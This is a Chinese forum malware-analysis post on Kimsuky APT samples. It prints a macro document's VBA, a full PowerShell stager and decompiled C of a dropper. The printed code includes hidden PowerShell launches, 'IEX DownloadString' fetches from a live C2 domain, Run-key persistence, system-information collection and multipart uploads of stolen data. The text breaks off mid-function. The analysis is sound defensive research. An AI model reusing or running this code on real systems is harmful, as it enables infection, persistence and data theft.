吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 8127|回复: 27
收起左侧

[PC样本分析] Kimsuky样本攻击手段分析

  [复制链接]
Ginobili 发表于 2022-10-19 13:12
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 Ginobili 于 2022-10-21 11:54 编辑

Kimsuky样本攻击手段分析

背景

Kimsuky最早由卡巴斯基于2013年公开披露并命名,攻击活动最早可追溯至2012年,是疑似具有东亚国家背景的APT组织。该组织主要攻击目标为韩国,涉及国防、教育、能源、政府、医疗以及智囊团等领域,以机密信息窃取为主。Kimsuky至今一直处于活跃状态,从2018年开始频繁开展了多起针对韩美两国特定领域人员的攻击活动。

本篇研究文章针对Kimsuky所使用的几个具有代表性的恶意软件样本进行分析,对Kimsuky组织所使用的常用攻击手段进行总结。

样本1

样本基本信息

样本放入threatbook云沙箱观察它的基本信息,发现这个样本源文件是韩文为标题的.doc文件,所以可以推测是宏病毒。

image-20221014194234909.png

提取其样本基本信息:

type hash
SHA256: 1fcd9892532813a27537f4e1a1c21ec0c110d6b3929602750ed77bbba7caa426
MD5: 07d0be79be38ecb8c7b1c80ab0bd8344
SHA1: 3acfda840986f215bec88cefa0dfb34b44750508

样本分析

在threatbook中下载样本进行分析。下载下来的文件先更改一下文件名为.doc(这里解释一下,当将文件放入二进制编辑工具进行查看的时候发现存在PK标志,这其实是微软在Office 2007中推出的基于XML的文件格式,可以将后缀名改为.zip查看文件的结构。)尝试在office打开文件,打开一张图片提示我们打开宏,并且安全警告中提醒用户程序尝试执行宏指令被制止。所以基本可以推测这是攻击者用来引诱用户打开宏执行宏指令所伪造的主页面。

image-20221014195456483.png

尝试打开宏,文件执行宏后出现了伪造的文档页面

image-20221014202936079.png

按alt + f11进入VBA页面,打开宏发现程序被加密,这个加密是伪加密,有两种方法可以绕过密码打开宏代码

方法一:

使用二进制编辑工具打开样本,文本搜索"DPB",改为"DPX",保存后再次打开VBA页面可以读取代码

方法二:

使用oletools里的olevba工具提取宏代码,直接使用命令即可

image-20221014205029313.png

olevba 0.60.1 on Python 3.8.5 - http://decalage.info/python/oletools
===============================================================================
FILE: .\1fcd9892532813a27537f4e1a1c21ec0c110d6b3929602750ed77bbba7caa426.doc
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO tptkddlsjangkspdy.frm
in file: word/vbaProject.bin - OLE stream: 'VBA/tptkddlsjangkspdy'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function interface()
    TmpEditPath = tptkddlsjangkspdy.Controls(Len("z")).Value

    Set JsEditContent = tptkddlsjangkspdy.Controls(3 - 1 - 1 - 1)

    Open Trim(TmpEditPath) For Output As #2

       Print #2, JsEditContent.Text
    Close #2
End Function

Sub AutoOpen()
    delimage
    interface
    executeps
    shlet
    regpa
End Sub

Sub executeps()
d1 = "powershell.exe -ExecutionPolicy Bypass -noLogo $s=[System.IO.File]::ReadAllText('c:\windows\temp\bobo.txt');iex $s"
    With CreateObject("WScript.Shell")
        .Run d1, Left(Left(Mid("ingfbbamkodhqcwtpzhbcpxqaaigdjmoadch626463965207171466558669015372347853185123047524556333900563576839593172803245215818260", 47), 1), 1), False
    End With
End Sub

Sub delimage()
  Selection.Delete Unit:=wdCharacter, Count:=1
End Sub

Sub shlet()
    Selection.WholeStory
    With Selection.Font
        .NameFarEast = "맑은 고딕"
        .NameAscii = ""
        .NameOther = ""
        .Name = ""
        .Hidden = False
    End With
End Sub

Sub regpa()
    With Selection.ParagraphFormat
        .LeftIndent = CentimetersToPoints(2)
        .SpaceBeforeAuto = True
        .SpaceAfterAuto = True
    End With
    With Selection.ParagraphFormat
        .RightIndent = CentimetersToPoints(2)
        .SpaceBeforeAuto = True
        .SpaceAfterAuto = True
    End With
    Selection.PageSetup.TopMargin = CentimetersToPoints(2.5)
    Selection.PageSetup.BottomMargin = CentimetersToPoints(2.5)
End Sub

-------------------------------------------------------------------------------
VBA FORM STRING IN 'word/vbaProject.bin' - OLE stream: 'tptkddlsjangkspdy/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')ex
-------------------------------------------------------------------------------
VBA FORM STRING IN 'word/vbaProject.bin' - OLE stream: 'tptkddlsjangkspdy/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
C:\windows\temp\bobo.txt
-------------------------------------------------------------------------------
VBA FORM Variable "b'TextBox1'" IN 'word/vbaProject.bin' - OLE stream: 'tptkddlsjangkspdy'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b"IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')"
-------------------------------------------------------------------------------
VBA FORM Variable "b'TextBox2'" IN 'word/vbaProject.bin' - OLE stream: 'tptkddlsjangkspdy'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b'C:\\windows\\temp\\bobo.txt'
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|Suspicious|Open                |May open a file                              |
|Suspicious|Output              |May write to a file (if combined with Open)  |
|Suspicious|Print #             |May write to a file (if combined with Open)  |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|WScript.Shell       |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Run                 |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|powershell          |May run PowerShell commands                  |
|Suspicious|ExecutionPolicy     |May run PowerShell commands                  |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|New-Object          |May create an OLE object using PowerShell    |
|Suspicious|windows             |May enumerate application windows (if        |
|          |                    |combined with Shell.Application object)      |
|Suspicious|Net.WebClient       |May download files from the Internet using   |
|          |                    |PowerShell                                   |
|Suspicious|DownloadString      |May download files from the Internet using   |
|          |                    |PowerShell                                   |
|Suspicious|System              |May run an executable file or a system       |
|          |                    |command on a Mac (if combined with           |
|          |                    |libc.dylib)                                  |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |http://mybobo.mygame|URL                                          |
|          |sonline.org/flower01|                                             |
|          |/flower01.ps1'      |                                             |
|IOC       |powershell.exe      |Executable file name                         |
|IOC       |flower01.ps1        |Executable file name                         |
+----------+--------------------+---------------------------------------------+

分析上面的宏代码,程序定义了几个函数,在executeps()中,程序使调用了powershell命令在c:\windows\temp\bobo.txt路径下创建一个文件:

powershell.exe -ExecutionPolicy Bypass -noLogo $s=[System.IO.File]::ReadAllText('c:\windows\temp\bobo.txt');iex $s

为了验证猜想,打开火绒剑检测程序发现的确调用了powershell对文件进行了操作

image-20221014211446606.png

找到文件对应的位置打开发现文件中被使用IEX写入了一段代码,代码中存在一个网址,目的访问网址下载对应的文件在当前文件夹

image-20221014211706337.png

当我们再去访问连接的时候发现链接已经挂了。貌似就要在这里断了。。。。

想到可以直接从threatbook找到这个样本的生成文件直接下载下来就可以直接分析了。把flower01.ps1文件下载下来分析代码:

$SERVER_ADDR = "http://mybobo.mygamesonline.org/flower01/"
$UP_URI = "post.php"
$upName = "flower01"
$LocalID = "flower01"
$LOG_FILENAME = "flower01.hwp"
$LOG_FILEPATH = "\flower01\"
$TIME_VALUE = 1000*60*60
$EXE = "rundll32.exe"
$MyfuncName = "Run"
$RegValueName = "Alzipupdate"//设置注册表值
$RegKey = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
$regValue = "cmd.exe /c powershell.exe -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')"

function decode($encstr)//单表加密操作
{        
        $key = [byte[]](0,2,4,3,3,6,4,5,7,6,7,0,5,5,4,3,5,4,3,7,0,7,6,2,6,2,4,6,7,2,4,7,5,5,7,0,7,3,3,3,7,3,3,1,4,2,3,7,0,2,7,7,3,5,1,0,1,4,0,5,0,0,0,0,7,5,1,4,5,4,2,0,6,1,4,7,5,0,1,0,3,0,3,1,3,5,1,2,5,0,1,7,1,4,6,0,2,3,3,4,2,5,2,5,4,5,7,3,1,0,1,6,4,1,1,2,1,4,1,5,4,2,7,4,5,1,6,4,6,3,6,4,5,0,3,6,4,0,1,6,3,3,5,7,0,5,7,7,2,5,2,7,7,4,7,5,5,0,5,6) 
        $len = $encstr.Length
        $j = 0
        $i = 0
        $comletter = ""
        while($i -lt $len)
        {
                $j = $j % 160

                $asciidec = $encstr[$i] -bxor $key[$j]
                $dec = [char]$asciidec
                $comletter += $dec
                $j++
                $i++
        }

        return $comletter
}
function UpLoadFunc($logpath)//上传函数
{
        $Url = $SERVER_ADDR + $UP_URI//拼接成http://mybobo.mygamesonline.org/flower01/post.php
        $bReturn = $True
        $testpath = Test-Path $logpath
        if($testpath -eq $False)
        {
                return $bReturn
        }
        $hexdata = [IO.File]::ReadAllText($logpath)//读取路径文件中的数据
        $encletter = decode $hexdata
        $nEncLen = $encletter.Length
        $LF = "`r`n"
        $templen = 0x100000//限制最大长度
        $sum = 0
        do//构造和发送POST请求
        {
                $szOptional = ""
                $pUploadData = ""
                Start-Sleep -Milliseconds 100//设置时间
                $readlen = $templen;
                if (($nEncLen - $sum) -lt $templen)
                {
                        $readlen = $nEncLen - $sum
                }
                if ($readlen -ne 0)
                {
                        $pUploadData = $encletter + $sum
                        $sum += $readlen
                }
                else
                {
                        $pUploadData += "ending"
                        $sum += 9
                        $readlen = 6
                }
                Start-Sleep -Milliseconds 1
                $boundary = "----WebKitFormBoundarywhpFxMBe19cSjFnG"//KimSuky常用的协议
                $ContentType = 'multipart/form-data; boundary=' + $boundary
                $bodyLines = (
                "--$boundary",
                "Content-Disposition: form-data; name=`"MAX_FILE_SIZE`"$LF",
                "10000000",
                "--$boundary",
                "Content-Disposition: form-data; name=`"userfile`"; filename=`"$upName`"",
                "Content-Type: application/octet-stream$LF",
                $pUploadData,
                "--$boundary"
                ) -join $LF

                Start-Sleep -Milliseconds 1
                $psVersion = $PSVersionTable.PSVersion

                $r = [System.Net.WebRequest]::Create($Url)//创建POST 请求C2:http://mybobo.mygamesonline.org/flower01/post.php
                $r.Method = "POST"
                $r.UseDefaultCredentials = $true
                $r.ContentType = $ContentType
                $enc = [system.Text.Encoding]::UTF8
                $data1 = $enc.GetBytes($bodyLines)
                $r.ContentLength = $data1.Length
                $newStream = $r.GetRequestStream()
                $newStream.Write($data1, 0, $data1.Length)
                $newStream.Close();

                if($php_post -like "ok")
                {
                        echo "UpLoad Success!!!"
                }
                else
                {
                        echo "UpLoad Fail!!!"
                        $bReturn = $False
                }
        } while ($sum -le $nEncLen);
        return $bReturn
}
function FileUploading($upPathName)//调用UpLoadFunc函数进行上传
{
        $bRet = $True
        $testpath = Test-Path $upPathName
        if($testpath -eq $False)
        {
                return $bRet
        }
        $UpL = UpLoadFunc $upPathName
        if($UpL -eq $False)
        {
                echo "UpLoad Fail!!!"
                $bRet = $False
        }
        else
        {
                echo "Success!!!"
        }
        del $upPathName
        return $bRet
}
function Download//下载文件到本地
{
        $downname = $LocalID + ".down"//flower01.down
        $delphppath = $SERVER_ADDR + "del.php"//http://mybobo.mygamesonline.org/flower01/del.php
        $downpsurl = $SERVER_ADDR + $downname//http://mybobo.mygamesonline.org/flower01/flower01.down
        $codestring = (New-Object System.Net.WebClient).DownloadString($downpsurl)
        $comletter = decode $codestring//对数据进行加密

        $decode = $executioncontext.InvokeCommand.NewScriptBlock($comletter)
        $RunningJob = Get-Job -State Running
        if($RunningJob.count -lt 3)
        {
                $JobName = $RunningJob.count + 1
                Start-Job -ScriptBlock $decode -Name $JobName
        }
        else
        {
                $JobName = $RunningJob.count
                Stop-Job -Name $RunningJob.Name
                Remove-Job -Name $RunningJob.Name
                Start-Job -ScriptBlock $decode -Name $JobName
        }
        $down_Server_path = $delphppath + "?filename=$LocalID"//http://mybobo.mygamesonline.org/flower01/del.php?filename=flower01.down访问链接
        $response = [System.Net.WebRequest]::Create($down_Server_path).GetResponse()//响应
        $response.Close()
}
function Get_info($logpath)//获取路径下的文件信息
{
        Get-ChildItem ([Environment]::GetFolderPath("Recent")) >> $logpath
        dir $env:ProgramFiles >> $logpath
        dir "C:\Program Files (x86)" >> $logpath
        systeminfo >> $logpath
        tasklist >> $logpath
}

function main
{
        Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
        $FilePath = $env:APPDATA + $LOG_FILEPATH//%APPDATA%/flower01/
        New-Item -Path $FilePath -Type directory -Force
        $szLogPath = $FilePath + $LOG_FILENAME//%APPDATA%/flower01//flower01.hwp预定义好的上传文件
        $key = Get-Item -Path $RegKey//注册表值
        $exists = $key.GetValueNames() -contains $RegValueName//注册表名
        if($exists -eq $False)//是否存在注册表名为Alzipupdate
        {
                $value1 = New-ItemProperty -Path $RegKey -Name $RegValueName -Value $regValue//如果不存在设置名为是否存在注册表名为Alzipupdate的值为HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
                Get_info $szLogPath//获取计算机的基本信息
        }

        while ($true)//每隔10s上传收集到的信息
        {
                FileUploading $szLogPath
                Start-Sleep -Milliseconds 10000
                Download
                Start-Sleep -Milliseconds 10000
                Start-Sleep -Milliseconds $TIME_VALUE
        }
}
main

具体的细节实现分析观察我在代码中对应程序的分析注释。下面大体描述一下样本程序的恶意行为:

样本行为

1.样本首先查找本机注册表是否存在值为Alzipupdate的项,如果没有创建这个项的自启动。

2.样本获取被攻击者计算机主机的相关信息,包括ProgramFiles下文件信息、Program File (x86)下文件信息、Systeminfo信息、Tasklist,并将它们写入预定义好的文件%APPDATA%/flower01//flower01.hwp里

3.样本访问C2 http://mybobo.mygamesonline[.]org/flower01/post.php 并将文件上传到C2地址,每10s执行一次。

IOCs

image-20221018170218809.png

样本2

样本基本信息

此样本的基本信息:

image-20221017204140270.png

提取样本的基本信息:

type hash
SHA256: bfb8d13fcb64e3d09de2850b47d64492dbfc7bba58766546c1511f1fa59a64c9
MD5: adc39a303e9f77185758587875097bb6
SHA1: 134d9e732a33413519341e4947013e7c7e521415

样本分析

下面从逆向角度对样本进行分析。拿到样本发现是个win32位可执行程序(010editor的PE标志),拖入ida静态观察一下,程序载入就进入Winmain,Winmain函数如下:

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  HMODULE v4; // eax
  HMODULE v5; // edi
  HRSRC v6; // esi
  signed int v7; // ebx
  HGLOBAL v8; // eax
  __m128i *v10; // edi
  char *v11; // esi
  signed int v12; // edx
  signed int v13; // ecx
  __m128i *v14; // eax
  int v15; // ebx
  int v16; // esi
  int v17; // edi
  __m128i v18; // xmm0
  char *v19; // ecx
  int v20; // edi
  int v21; // esi
  char v22; // al
  char *v23; // edi
  HANDLE v25; // eax
  void *v26; // edi
  void *v27; // esi
  DWORD NumberOfBytesWritten; // [esp+8h] [ebp-120h] BYREF
  __m128i *v29; // [esp+Ch] [ebp-11Ch]
  int v30; // [esp+10h] [ebp-118h]
  int v31; // [esp+14h] [ebp-114h]
  int v32; // [esp+18h] [ebp-110h]
  LPCVOID lpBuffer; // [esp+1Ch] [ebp-10Ch] BYREF
  CHAR Buffer[260]; // [esp+20h] [ebp-108h] BYREF

  if ( sub_404140() )                           // 导入库、文件操作函数
  {
    if ( sub_4041D0() )                         // 导入网络操作函数
    {
      v4 = LoadLibraryA("Advapi32.dll");
      v5 = v4;
      if ( v4 )
      {
        GetProcAddress(v4, "RegOpenKeyExA");    // 导入注册表操作函数
        GetProcAddress(v5, "RegQueryValueExA");
        GetProcAddress(v5, "RegSetValueExA");
        GetProcAddress(v5, "RegCloseKey");
        v6 = FindResourceA(0, 104, "JUYFON");   // 找到资源段JUYFON
        v7 = SizeofResource(0, v6);
        v32 = v7;
        v8 = LoadResource(0, v6);               // 导入资源段
        if ( v8 )
        {
          v10 = LockResource(v8);
          v29 = v10;
          v11 = unknown_libname_1(v7);
          v12 = 0;
          lpBuffer = v11;
          if ( v7 > 0 )
          {
            if ( v7 >= 0x20 && (v11 > &v10[-1].m128i_i8[v7 + 15] || &v11[v7 - 1] < v10) )
            {
              v13 = v7 - (v7 & 0x8000001F);
              v14 = v10;
              v31 = v11 - v10;
              v15 = (v11 + 16);
              v16 = v11 - v10;
              v30 = v15;
              v7 = v32;
              v17 = v30;
              do
              {
                v18 = *v14;
                v14 += 2;
                *(&v14[-2] + v16) = _mm_xor_si128(v18, xmmword_4193F0);
                *(v17 + v12) = _mm_xor_si128(v14[-1], xmmword_4193F0);
                v12 += 32;
              }
              while ( v12 < v13 );
              v10 = v29;
              v11 = lpBuffer;
            }
            if ( v12 < v7 )
            {
              v19 = &v11[v12];
              v20 = v10 - v11;
              v21 = v7 - v12;
              do                                // 对resource段解密
              {
                v22 = (v19++)[v20];
                *(v19 - 1) = v22 ^ 0x7F;        // 断点,生成shellcode
                --v21;
              }
              while ( v21 );
            }
          }
          memset(Buffer, 0, sizeof(Buffer));
          GetTempPathA(0x104u, Buffer);
          v23 = &lpBuffer + 3;
          while ( *++v23 )
            ;
          qmemcpy(v23, "4.[酒怕楷备]稠巩捧绊痹沥.docx", 0xD3u);// 给创建的文件命名
          DeleteFileA(Buffer);
          v25 = CreateFileA(Buffer, 0x40000000u, 0, 0, 4u, 0x80u, 0);// 创建文件
          v26 = lpBuffer;
          v27 = v25;
          NumberOfBytesWritten = 0;
          WriteFile(v25, lpBuffer, v7, &NumberOfBytesWritten, 0);
          CloseHandle(v27);
          j_j_j___free_base(v26);
          Sleep(0xC8u);
          ShellExecuteA(0, "open", Buffer, 0, 0, 5);// 打开生成的.docx操作
          CreateThread(0, 0, StartAddress, 0, 0, 0);// 创建线程,执行StartAddress函数的内容
          while ( 1 )
            Sleep(0x2710u);
        }
      }
    }
  }
  return 0;
}

程序开始在sub_404140()函数下导入了库、文件操作函数,在sub_4041D0()函数导入了网络函数,所以推测样本会对文件进行操作(例如读、写、创建文件等),也会对网络进行操作(例如访问某个网址,HTTP连接等)。后面导入注册表操作函数,然后是跟资源有关的函数,在这个地方程序导入了名称为"JUYFON"的资源表,使用PEView观察资源表的状况,存在这个资源表。后面多次嵌套if和do...while结构对资源端进行解密,解密出一个word类型程序在内存中

image-20221017154225399.png

下面一段内容样本程序在本地Temp路径下创建一个word文档名称为“4.[酒怕楷备]稠巩捧绊痹沥.docx”。并且将内存内容写入文档里。

image-20221017161702974.png

image-20221017161912464.png

打开生成的word文档发现是朝鲜文,翻译一下发现这是针对韩国庆熙大学国际研究院的攻击。

image-20221017162240671.png

开始推测以为文档可能有宏病毒,使用工具查一下发现没有宏。

image-20221017162354004.png

最后程序使用CreateThread()函数创建了一个子线程,线程名称是StartAddress。线程的基本逻辑如下:

void __stdcall __noreturn StartAddress(LPVOID lpThreadParameter)
{
  CHAR pszPath[260]; // [esp+4h] [ebp-108h] BYREF

  memset(pszPath, 0, sizeof(pszPath));
  SHGetSpecialFolderPathA(0, pszPath, 26, 0);
  lstrcatA(pszPath, "\\Microsoft\\HNC");        // 拼接路径
  CreateDirectoryA(pszPath, 0);
  GetShortPathNameA_0(pszPath, pszPath, 0x104u);
  wsprintfA(FileName, "%s\\%s", pszPath, "wcl.docx");
  wsprintfA(byte_41DBB8, "%s\\%s", pszPath, "tcf.bin");
  sub_404250();                                 // Windows下命令行获取系统信息并写入wcl.docx文件中
  Sleep(10000u);
  sub_4049E0();                                 // 构造网络请求
  while ( 1 )
  {
    sub_4045C0();
    Sleep(0x1B7740u);
  }
}

子线程拼接了一个本地路径"C:\Users\Anonymous\AppData\Roaming\Microsoft\HNC",同时试图创建两个文件"wcl.docx"和"tcf.bin"

image-20221017165149195.png

后面的三个函数sub_404250()、sub_4049E0()、sub_4045C0()都比较关键,下面逐一进行分析:

sub_404250()

其代码逻辑如下:

void sub_404250()
{
  SHELLEXECUTEINFOA pExecInfo; // [esp+0h] [ebp-658h] BYREF
  CHAR v1[260]; // [esp+3Ch] [ebp-61Ch] BYREF
  CHAR szLongPath[260]; // [esp+140h] [ebp-518h] BYREF
  CHAR pszPath[260]; // [esp+244h] [ebp-414h] BYREF
  CHAR Buffer[260]; // [esp+348h] [ebp-310h] BYREF
  CHAR szShortPath[260]; // [esp+44Ch] [ebp-20Ch] BYREF
  CHAR v6[260]; // [esp+550h] [ebp-108h] BYREF

  memset(szShortPath, 0, sizeof(szShortPath));
  memset(Buffer, 0, sizeof(Buffer));
  memset(v6, 0, sizeof(v6));
  if ( GetEnvironmentVariableA("COMSPEC", Buffer, 0x103u) )// cmd.exe文件路径:C:\\Windows\\system32\\cmd.exe
  {
    pExecInfo.lpVerb = "Open";
    pExecInfo.lpFile = Buffer;                  // cmd文件路径
    pExecInfo.cbSize = 60;                      // 长度
    pExecInfo.hwnd = 0;
    pExecInfo.lpDirectory = 0;
    pExecInfo.fMask = 64;
    pExecInfo.nShow = 0;
    memset(pszPath, 0, sizeof(pszPath));
    if ( SHGetSpecialFolderPathA(0, pszPath, 0, 0) )
    {
      GetShortPathNameA(pszPath, szShortPath, 0x104u);
      wsprintfA(v6, "/c dir %s\\ >> %s", szShortPath, FileName);
      pExecInfo.lpParameters = v6;
      ShellExecuteExA(&pExecInfo);              // 执行/c dir C:\Users\ANONYM~1\Desktop\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx  生成docx文件
      Sleep(3000u);
      memset(szLongPath, 0, sizeof(szLongPath));
      if ( SHGetSpecialFolderPathA(0, szLongPath, 8, 0) )
      {
        GetShortPathNameA(szLongPath, szShortPath, 0x104u);
        wsprintfA(v6, "/c dir %s\\ >> %s", szShortPath, FileName);
        pExecInfo.lpParameters = v6;
        ShellExecuteExA(&pExecInfo);
        Sleep(3000u);
        memset(v1, 0, sizeof(v1));              // 执行/c dir C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\Windows\Recent\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx
        if ( SHGetSpecialFolderPathA(0, v1, 38, 0) )
        {
          GetShortPathNameA(v1, szShortPath, 0x104u);
          wsprintfA(v6, "/c dir %s\\ >> %s", szShortPath, FileName);// cmd /c是执行完命令之后关闭命令行窗口
          pExecInfo.lpParameters = v6;
          ShellExecuteExA(&pExecInfo);
          Sleep(3000u);
          wsprintfA(v6, "/c systeminfo >> %s", FileName);// /c systeminfo >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx
          pExecInfo.lpParameters = v6;
          ShellExecuteExA(&pExecInfo);
          Sleep(0x1388u);
        }
      }
    }
  }
}

样本程序首先使用GetEnvironmentVariableA获取COMSPEC变量(也就是cmd.exe的文件路径),后面初始化使用shell需要的一些信息(例如文件路径、文件大小等参数)。再往下写入了三个shell,并且执行shell,作用是将宿主计算机信息存储在wcl.docx中:

/c dir C:\Users\ANONYM~1\Desktop\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx

/c dir C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\Windows\Recent\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx

/c dir C:\PROGRA~2\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx

/c systeminfo >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx

解释一下/c的意思是cmd打开命令行执行完命令之后直接退出,也就是命令执行的时候是不会进行弹出控制台程序的。

执行/c dir C:\Users\ANONYM~1\Desktop\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx

image-20221017190516411.png

执行/c dir C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\Windows\Recent\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx

image-20221017192133928.png

执行/c dir C:\PROGRA~2\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx

image-20221017192548769.png

执行/c systeminfo >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx

image-20221017192952195.png

打开生成的文件发现文件中存储着计算机的信息。

image-20221017203516420.png

sub_4049E0()

这个函数用来构造网络请求,其程序逻辑如下:

BOOL sub_4049E0()
{
  FILE *v0; // eax
  FILE *v1; // ebx
  BOOL result; // eax
  int v3; // eax
  int v4; // eax
  size_t v5; // esi
  void *v6; // edi
  size_t v7; // esi
  void *v8; // esi
  char *v9; // ebx
  unsigned int v10; // edi
  size_t v11; // esi
  unsigned int v12; // edi
  unsigned int v13; // edi
  size_t v14; // esi
  const char *v15; // ecx
  char v16; // al
  unsigned int v17; // kr00_4
  char v18[260]; // [esp+4h] [ebp-138h] BYREF
  char v19[25]; // [esp+108h] [ebp-34h] BYREF
  int v20; // [esp+121h] [ebp-1Bh]
  __int16 v21; // [esp+125h] [ebp-17h]
  char v22; // [esp+127h] [ebp-15h]
  unsigned int v23; // [esp+128h] [ebp-14h]
  unsigned int v24; // [esp+12Ch] [ebp-10h]
  size_t Size; // [esp+130h] [ebp-Ch]
  void *Src; // [esp+134h] [ebp-8h]
  int Value; // [esp+138h] [ebp-4h] BYREF

  v0 = fopen(FileName, "rb");                   // C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx
  v1 = v0;
  if ( v0 )
  {
    v3 = _fileno(v0);
    v4 = _filelength(v3);
    Value = v4;
    if ( v4 )
    {
      v5 = v4 + 1;
      v6 = unknown_libname_1(v4 + 1);
      memset(v6, 0, v5);
      fread(v6, 1u, Value, v1);                 // 读文件
      fclose(v1);
      v7 = Value + 5;
      v23 = Value + 4;
      Value = unknown_libname_1(Value + 5);
      memset(Value, 0, v7);
      *&v19[17] = 0i64;
      v20 = 0;
      v21 = 0;
      v22 = 0;
      strcpy(v19, "01234567abcdefgh");
      sub_404020(Value, v19);                   // 加密或者操作
      j_j_j___free_base(v6);
      v8 = unknown_libname_1(0x100001u);
      Src = v8;
      v9 = unknown_libname_1(0x206590u);
      v10 = 0;
      while ( 1 )
      {
        Sleep(0x64u);
        memset(v9, 0, 0x200514u);
        memset(v8, 0, 0x100001u);
        v11 = 0x100000;
        Size = 0x100000;
        if ( v23 - v10 < 0x100000 && (v11 = v23 - v10, Size = v23 - v10, v23 == v10) )
        {
          v12 = v10 + 9;
          strcat(Src, "ending");
          Size = 6;
        }
        else
        {
          memmove_0(Src, (v10 + Value), v11);
          v12 = v11 + v10;
        }
        v24 = v12;
        Sleep(1u);
        strcat(v9, "\r\n------WebKitFormBoundarywhpFxMBe19cSjFnG");// 构造网络请求
        strcat(v9, "\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"");
        strcat(v9, "\r\n\r\n10000000");
        strcat(v9, "\r\n------WebKitFormBoundarywhpFxMBe19cSjFnG");
        strcat(v9, "\r\nContent-Disposition: form-data; name=\"userfile\"; filename=\"");
        strcat(v9, "button01");
        *&v9[strlen(v9)] = 34;
        strcat(v9, "\r\nContent-Type: application/octet-stream\r\n\r\n");
        v13 = strlen(v9);
        v14 = Size;
        memmove_0(&v9[v13], Src, Size);
        strcpy(v18, "\r\n------WebKitFormBoundarywhpFxMBe19cSjFnG");
        memset(&v18[43], 0, 0xD9u);
        v15 = "\r\n------WebKitFormBoundarywhpFxMBe19cSjFnG";
        do
        {
          v16 = *v15++;
          v9[v14 - 1 + v13 - "\r\n------WebKitFormBoundarywhpFxMBe19cSjFnG" + v15] = v16;
        }
        while ( v16 );
        v17 = strlen(v18);
        Sleep(1u);
        if ( sub_404DD0(v9, Size + v17 + v13) == 1 )// POST函数
          break;
        v10 = v24;
        if ( v24 > v23 )
          break;
        v8 = Src;
      }
      DeleteFileA(FileName);
      GetLastError();
      j_j_j___free_base(v9);
      j_j_j___free_base(Src);
      j_j_j___free_base(Value);
      result = 0;
    }
    else
    {
      DeleteFileA(FileName);
      result = 1;
    }
  }
  else
  {
    Value = 0;
    _get_errno(&Value);
    result = Value == 2;
  }
  return result;
}

程序先打开了之前从生成的docx文件,后面使用了一串加密操作的代码或者函数,我也没具体分析,读入word之后传递给v9然后进行拼接了网络请求,最后将文件删除

image-20221017195305360.png

构造网络请求

image-20221017200858118.png

这个函数内还有一个函数sub_404DD0主要用来执行POST请求,发送的信息就是a1(相当于上一层函数里v9用来存储读入的信息)

int __fastcall sub_404DD0(void *a1, DWORD a2)
{
  int v2; // ebx
  void *v3; // eax
  void *v4; // esi
  void *v5; // edi
  int result; // eax
  LPCSTR lpszAcceptTypes[2]; // [esp+4h] [ebp-52Ch] BYREF
  HINTERNET hInternet; // [esp+Ch] [ebp-524h]
